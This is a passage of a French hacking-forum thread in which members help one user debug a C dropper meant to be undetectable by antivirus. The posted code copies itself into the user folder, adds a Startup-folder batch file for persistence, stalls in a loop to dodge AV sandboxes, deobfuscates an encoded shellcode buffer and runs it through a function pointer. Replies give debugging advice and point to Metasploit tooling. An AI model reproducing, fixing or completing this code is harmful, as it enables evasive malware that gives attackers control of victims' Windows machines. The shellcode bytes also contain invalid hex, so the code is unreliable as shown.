Auteur Sujet: Proposition explication payload FUD  (Lu 13271 fois)

0 Membres et 1 Invité sur ce sujet

Hors ligne 3amoo

  • Membre Junior
  • *
  • Messages: 12
  • +1/-0
Re : Proposition explication payload FUD
« Réponse #30 le: 24 avril 2019 à 13:17:07 »
Tu veux dire que tous les opcode -1 correspondraient à une autre instruction et que c'est le shellcode obfusqué qui est exécuté au lieu du bon ?

En ligne ZeR0-@bSoLu

  • Administrateur
  • Membre Elite
  • *****
  • Messages: 2464
  • +138/-4
  • Pentest - Arch - Python - Kali
    • Kali-fr
Re : Proposition explication payload FUD
« Réponse #31 le: 24 avril 2019 à 13:18:21 »
Je n'ai pas lu ton code encore donc je ne peux rien affirmer , mais oui c'est une possibilité en effet !
Mess  with the bests.
Die like the rest.

Hors ligne 3amoo

  • Membre Junior
  • *
  • Messages: 12
  • +1/-0
Re : Proposition explication payload FUD
« Réponse #32 le: 24 avril 2019 à 13:26:47 »
D'accord, je vais encore passer du temps dessus cet après-midi pour essayer de trouver la solution à mon problème et je vais essayer de poster une version du code avec des noms de variable lisibles de sorte à ce qu'on s'y retrouve

Hors ligne shiba28

  • Nouvel inscrit
  • Messages: 2
  • +0/-0
Re : Proposition explication payload FUD
« Réponse #33 le: 24 avril 2019 à 17:46:42 »
Bonjour,
c'est un sujet intéressant!
« Modifié: 28 avril 2019 à 00:16:46 par webmaster »

Hors ligne _john_doe

  • Contributeur de Kali-linux.fr
  • Membre VIP
  • *****
  • Messages: 595
  • +33/-5
Re : Re : Proposition explication payload FUD
« Réponse #34 le: 24 avril 2019 à 18:38:51 »
D'accord, je vais encore passer du temps dessus cet après-midi pour essayer de trouver la solution à mon problème et je vais essayer de poster une version du code avec des noms de variable lisibles de sorte à ce qu'on s'y retrouve
WK m'avais filé son code source à l'époque et il etait opérationnel.
Post ton bout de code et on y jettera un oeil.
Maintenant check bien que les fichiers qui sont crées et copiés via le script sous Win le sont bien au bon endroit (à l'endroit necéssaire pour TA version de windows) car si ce n'est pas le cas les fichiers seront bien copiés mais le shellcode ne fonctionnera pas.
Ce que je trouve tres surprenant c'est que si ton shellcode etait bien appelé via ton exe et qu'il ne rimait à rien windows devrait te renvoyer un joli segfault car appel à des interruptions non existantes. Or il ne te renvoie rien. (sauf hypothese de ZeR0-@bSoLu, mais vu le nombre d'op cod de ton payload c'est statistiquement tres improbable qu'une version à -1 sur tous les op-codes continue à avoir du sens en langage assembleur).

Faut que je me replonge dans le source de WK et que je check que le bout de code qu'il avait posté etait complé (car il avait tronqué certaines fonctions pour éviter que des scripts kiddies ne fasse un copy paste).
Ce qui pourrait aussi expliquer que la partie du code de WK que tu utilise n'appelle pas en fait le shellcode et donc que win ne te renvoie rien (ni shell, ni segfault).



Hors ligne 3amoo

  • Membre Junior
  • *
  • Messages: 12
  • +1/-0
Re : Proposition explication payload FUD
« Réponse #35 le: 25 avril 2019 à 01:51:03 »
En fait il me semble que c'est tout con .. La ligne de code qui est censée désobfusquer les opcodes est la suivante. (j'ai changé le nom des variables afin que ce soit plus lisible)
buf[variable12]-=cle[variable11];buf[variable12] correspondant au 3ème caractère de l'opcode et clé[variable11] au chiffre qu'il faut lui soustraire pour désobfusquer. Or,
unsigned char buf[] =
"\xbf\xc3\x8f\x3b\x5b\xdb\xc5\xda\x75\x25 ....
int cle[]={1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ....En gros on cherche à soustraire un un int et un char normal qu'il y ai un soucis non ? J'ai cherché une alternative simple mais pas trouvé je verrai demain !
J'ai aussi pensé au lieu de faire une soustraction à stocker le dernier "bon" caractère de chaque opcode dans une variable à la place de la variable clé, et de simplement remplacer la 3ème valeur de chaque opcode par celle-ci, si vous avez d'autres idées hésitez pas à partager :D

En ligne ZeR0-@bSoLu

  • Administrateur
  • Membre Elite
  • *****
  • Messages: 2464
  • +138/-4
  • Pentest - Arch - Python - Kali
    • Kali-fr
Re : Re : Proposition explication payload FUD
« Réponse #36 le: 25 avril 2019 à 09:07:37 »
En fait il me semble que c'est tout con .. La ligne de code qui est censée désobfusquer les opcodes est la suivante. (j'ai changé le nom des variables afin que ce soit plus lisible)
buf[variable12]-=cle[variable11];buf[variable12] correspondant au 3ème caractère de l'opcode et clé[variable11] au chiffre qu'il faut lui soustraire pour désobfusquer. Or,
unsigned char buf[] =
"\xbf\xc3\x8f\x3b\x5b\xdb\xc5\xda\x75\x25 ....
int cle[]={1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ....En gros on cherche à soustraire un un int et un char normal qu'il y ai un soucis non ? J'ai cherché une alternative simple mais pas trouvé je verrai demain !
J'ai aussi pensé au lieu de faire une soustraction à stocker le dernier "bon" caractère de chaque opcode dans une variable à la place de la variable clé, et de simplement remplacer la 3ème valeur de chaque opcode par celle-ci, si vous avez d'autres idées hésitez pas à partager :D

tu vois que tu as trouvé vite ;)
Mess  with the bests.
Die like the rest.

Hors ligne 3amoo

  • Membre Junior
  • *
  • Messages: 12
  • +1/-0
Re : Proposition explication payload FUD
« Réponse #37 le: 25 avril 2019 à 11:26:03 »
Oui en fait WK avait glissé plein de petites erreurs c’est pour ça que je n’avais même pas de segfault, le shellcode ne s’exécutait effectivement pas, maintenant après avoir repris le code et changé ce qu’il fallait j’obtient bien un segfault sûrement dû au fait que les opcodes restent les mauvais puisqu’on ne peut pas additionner un entier et une chaîne de caractères. Manque plus qu’à trouver comment faire mais je bloque un peu j’essaierai cet après-midi. Si jamais quelqu’un a des bonnes bases en C ça serait cool qu’il me mette sur la piste  ;)

Pour l’instant je n’ai pas encore trouvé comment changer une seule occurrence d’un caractère à un endroit précis de la chaîne en le remplaçant par un autre caractère ou en l’additionant, comment dire à notre programme que 9+1 = a et b + 1= c ?

Hors ligne 3amoo

  • Membre Junior
  • *
  • Messages: 12
  • +1/-0
Re : Proposition explication payload FUD
« Réponse #38 le: 27 avril 2019 à 02:10:21 »
Salut tout le monde,
Alors voilà j'ai avancé sur ce code que j'ai essayé de reprendre au mieux, j'ai décortiqué tout le script ce qui m'a permis d'apprendre beaucoup sur le C en me renseignant pour savoir à quoi correspondait tel ou tel morceau de code. Je l'ai arrangé de sorte à ce qu'il fonctionne à peu près correctement mais voilà j'ai toujours une erreur à la toute fin de l'exécution. Je vous balance le code et j'explique.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>

char chemin_dacces_executable[300];
char copie_du_exe[500]="copy \"";
char variable3[100];
char variable5[100]="\"C:\\Users\\%username%\\";
char creation_fichier_bat[500]="@echo \"C:\\Users\\%username%\\blublub.exe\" > \"C:\\Users\\%username%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\beta.bat\"";
int bypassav1=0;
int bypassav2=1;
char buf []= \
"\"\\xbf\\xc3\\x8f\\x3b\\x5b\\xdb\\xc5\\xda\\x75\\x25\\xf5\\x59\\x2c\\xca\\xb2\\x72\\x32\\x71\\x14\\x84\\xe9\\xfd\\x04\\x71\\xce\\x6d\\xcg\\x82\\x1g\\xc9\\xb4\\x66\\x42\\x38\\x6e\\xfe\\x5a\\xbd\\xd8\\xcg\\x69\\x8e\\x83\\x1f\\x29\\xf8\\xd2\\x8c\\x51\\x05\\x95\\x5f\\xca\\xae\\x1g\\x95\\xd5\\x6e\\x2e\\x49\\x75\\xa9\\x65\\x4g\\x21\\x2a\\x15\\x26\\xc2\\xdc\\xf8\\x76\\xab\\x5a\\xag\\xc4\\xc5\\x22\\x1d\\x5d\\x9a\\x33\\x06\\x47\\x0g\\x1a\\xe9\\x08\\x68\\x62\\x85\\xdc\\x67\\x7e\\x31\\xdc\\x92\\xbf\\xcb\\x1f\\x8c\\x09\\xaf\\x9a\\xa5\\xb3\\x7b\\x04\\x14\\x7g\\x95\\xf7\\x73\\xbe\\x7d\\x3d\\x64\\x52\\x3c\\x0f\\x32\\x5a\\xa8\\x07\\xd1\\x25\\x32\\x6e\\x3f\\x0c\\xec\\xd4\\x8g\\xd4\\xfd\\x48\\x2a\\xb3\\x73\\x29\\xa5\\x3c\\x03\\x37\\x2c\\x0f\\xbf\\xba\\x7f\\x9c\\x1b\\xa9\\xf7\\x1a\\x39\\x28\\x77\\x55\\xec\\x81\\x7f\\x5e\\x74\\x14\\x3d\\x96\\x94\\x31\\x9b\\x9g\\x7d\\xa7\\x4c\\x9d\\x17\\x88\\x59\\xf2\\x75\\xe5\\x4g\\x69\\xe1\\xfg\\x0d\\xf3\\xfc\\xa2\\x62\\x2f\\x6a\\x88\\x3f\\x35\\xa6\\xee\\x73\\x1c\\x24\\x43\\x89\\xcd\\x11\\xa3\\x0b\\xcg\\x0d\\x1g\\x2e\\x73\\xba\\xe3\\x69\\xe4\\x06\\x08\\xe8\\xbb\\x59\\x09\\x34\\x1b\\x46\\x31\\x96\\x6e\\x77\\x81\\x9c\\xcf\\x2g\\x7a\\x5f\\x23\\xfc\\xdf\\xbg\\x89\\xae\\x28\\x0a\\x73\\xf1\\x35\\xa6\\xaa\\xb7\\xae\\x8b\\x57\\x32\\x7c\\x3d\\xeb\\x9e\\x1e\\xaa\\xd8\\x89\\x9b\\xba\\x1e\\xf8\\x88\\x42\\xcc\\xca\\x6a\\x96\\x3b\\x55\\xaa\\xe1\\x44\\xcc\\x9g\\xa1\\x65\\x3e\\x83\\xe7\\xfa\\xdf\\xa4\\xed\\x31\\x63\\xbe\\x71\\xef\\xac\\x93\\xaf\\x28\\x1g\\xbd\\xa5\\x05\\xda\\x96\\xe7\\xd8\\xc2\\x01\\xee\\x46\\xeb\\x1b\\x22\\x79\\x2d\\xff\\x6f\\x5g\\x74\\x35\\x77\\x2a\\xaf\\x74\\xc9\\x36\\x8e\\x67\\xbb\\x6a\\x33\\x1e\\xb6\\x19\\xba\\xf3\\x93\\xag\\x1d\\x43\\x18\\x57\\x53\\x02\\x1e\\xe4\\xda\\xca\\xf6\\xcb\\xa1\\xfa\\x02\\xd5\\x82\\xf8\\x0d\\x65\\xcg\\x0c\\x3g\\x65\\x6d\\x97\\xfg\\x91\\xfg\\xad\\xa6\\x83\\xff\\x8d\\xa6\\x12\\x2d\\x8b\\xe5\\xcb\\x72\\xec\\x0g\\x84\\x34\\x5a\\xcg\\x0e\\xdd\\x38\\xb2\\x7e\\x85\\xab\\x63\\x53\\x36\\x5c\\x8c\\xcd\\x2f\\xe9\\x27\\x55\\xe6\\x1f\\x4g\\x96\\x3c\\xb6\\x31\\x3c\\x41\\xe4\\x38\\x4g\\x06\\xff\\x4a\\x19\\xa5\\x7e\\x61\\x76\\x2g\\x75\\x82\\x08\\xaa\\xbg\\xef\\x65\\xa8\\x7b\\x13\\x99\\x45\\xe7\\xe6\\xdg\\xa3\\x45\\x07\\xb8\\xdg\\xag\\x35\\xc1\\x18\\x16\\x63\\x1d\\x1a\\xa4\\xe9\\x3e\\x66\\x6e\\x2d\\x79\\xee\\xef\\x64\\x97\\x59\\x81\\x63\\xd5\\x2c\\x2c\\xac\\xf3\\x1a\\x34\\x71\\x8f\\xa5\\xff\\x4g\\x28\\x63\\x92\"";
char cle[]="e2eaaa494448b91110338c30dcf1f83517dd9c7f8d2e871b044e9df44dd8484f09451b75a9f341cc9256f987714b6d0b1eaeb8e942a33f462dcc31be1976041debb3f3c792284b26bee9eba8698764b0ed33c530afc6bc678144f80fc2b11e97e45d2b328c02afcfd29283577a883a505d60bef9e2bef8d79204596da61bcadd978a9d771b995a4903bf04d269e3c02d0eb2e7fc44956710d5aa18ceef3469e385d6a92d58922fc27621d3995a091417c4fbf4c6f0fc52ec51ca4a1bf339fdc71d4a225bbce8645ef5b50b037f5e984d05f4179fe47a28465f2467ff40752c938d5dc8de368024bbb2930e4ef721\"";
int lenshellcode=strlen(buf);
int variable12=4;
int variable15=0;
size_t n = variable12;
int (*ret)() = (int(*)())buf;




int main(int argc,char *argv[])
{

//HWND hwnd=GetForegroundWindow ();ShowWindow (hwnd,SW_HIDE);
printf("%d",lenshellcode);
strcpy(chemin_dacces_executable,argv[0]);
strcat(copie_du_exe,chemin_dacces_executable);
strcat(copie_du_exe,"\" \"C:\\Users\\%username%\"");
strcpy(variable3,"blublub.exe");
strcat(variable5,variable3);
system(copie_du_exe);
system(creation_fichier_bat);
if(strstr(argv[0],"blublub.exe") !=NULL)
{
while (bypassav2<98000)
{
bypassav2++;

bypassav1++;
}
if(bypassav1>9000)
{
while(n<lenshellcode)
{

buf[n] = cle[variable15];
n+= 4;
variable15+= 1;
}
printf(buf);
Sleep(8000);
ret();
}
}
}


On va s'intéresser qu'a la deuxième partie du code qui doit exécuter l'opcode car celle qui copie le .exe et crée un .bat pour la persistence fonctionne parfaitement. Ce que j'ai fait c'est que j'ai crée une variable avec les opcode et une autre avec la vraie lettre/chiffre du dernier caractère de l'opcode. Ensuite une boucle se charge de remplacer le mauvais carac par le bon. Pour vérifier ça j'ai demandé au programme de m'afficher dans la console la variable qui est censée contenir l'opcode une fois deobfusqué juste avant d'appeler la fonction qui va exécuter le shellcode et c'est bien le bon shellcode en clair qui apparaît ! A partir de là je me suis dit que c'était gagné mais non .. Toujours cette même erreur ! Donc voilà je suis perdu, si quelqu'un y comprend quelque chose et qu'il veut m'aider ou me mettre sur la piste ça serait fort sympathique parce que j'ai passé des heures à essayer de bidouiller et je ne vois pas du tout ou est mon erreur. Surtout que je ne m'y connais pas des masses en C mais à mon avis c'est une erreur toute conne que quelqu'un qui a de bonnes bases devrait repérer facilement, à mon avis c'est une couille dans les pointeurs mais je n'ai pas réussi à mettre l'oeil sur cette erreur de merde héhé. Aller bonne soirée les gars à plus ++


En ligne ZeR0-@bSoLu

  • Administrateur
  • Membre Elite
  • *****
  • Messages: 2464
  • +138/-4
  • Pentest - Arch - Python - Kali
    • Kali-fr
Re : Proposition explication payload FUD
« Réponse #39 le: 29 avril 2019 à 08:54:42 »
Je regarde ça entre midi et deux et je te dis :)

EDIT:  j'ai pas eu le temps de trop regarder dans les détails mais je pense que ce serait intéréssant que tu regarde le code assembleur produit par ton shellcode , tu pourra surement y trouver des erreurs plus facilements (problèmes d'architectures ou autres etc..)
Tu pourra surêment y retrouver des trucs comme ça :


EDIT2: tu peux utiliser le plugins nasm_shell fourni dans metasploit pour tester tes commandes assembleurs :)
« Modifié: 03 mai 2019 à 12:55:14 par ZeR0-@bSoLu »
Mess  with the bests.
Die like the rest.